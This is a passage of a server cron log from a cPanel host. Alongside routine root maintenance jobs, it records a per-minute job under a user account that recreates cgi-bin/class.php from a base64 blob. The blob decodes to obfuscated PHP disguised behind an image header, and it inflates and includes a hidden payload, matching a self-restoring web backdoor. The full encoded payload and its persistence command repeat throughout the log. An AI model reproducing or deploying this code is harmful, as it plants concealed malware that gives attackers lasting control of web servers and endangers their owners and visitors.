Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:32:01 server CROND[3193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:32:01 server CROND[3194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:32:01 server CROND[3195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:33:01 server CROND[3634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:33:01 server CROND[3636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:33:01 server CROND[3635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:34:01 server CROND[4054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:34:01 server CROND[4056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:34:01 server CROND[4057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:35:01 server CROND[4466]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:35:01 server CROND[4469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:35:01 server CROND[4471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:35:01 server CROND[4468]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:35:01 server CROND[4470]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:35:01 server CROND[4472]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 06:35:01 server CROND[4476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:35:01 server CROND[4474]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:35:01 server CROND[4473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:36:01 server CROND[5348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:36:01 server CROND[5349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:36:01 server CROND[5350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:37:01 server CROND[5728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:37:01 server CROND[5730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:37:01 server CROND[5729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:38:01 server CROND[6114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:38:01 server CROND[6115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:38:01 server CROND[6116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:39:01 server CROND[6492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:39:01 server CROND[6494]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 06:39:01 server CROND[6493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:39:01 server CROND[6495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:40:01 server CROND[6985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:40:01 server CROND[6986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:40:01 server CROND[6989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:40:01 server CROND[6988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:40:01 server CROND[6992]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:40:01 server CROND[6991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:40:01 server CROND[6993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:40:01 server CROND[7006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:41:01 server CROND[7899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:41:01 server CROND[7900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:41:01 server CROND[7901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:42:01 server CROND[8349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:42:01 server CROND[8350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:42:01 server CROND[8351]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:42:01 server CROND[8352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:43:01 server CROND[8745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:43:01 server CROND[8746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
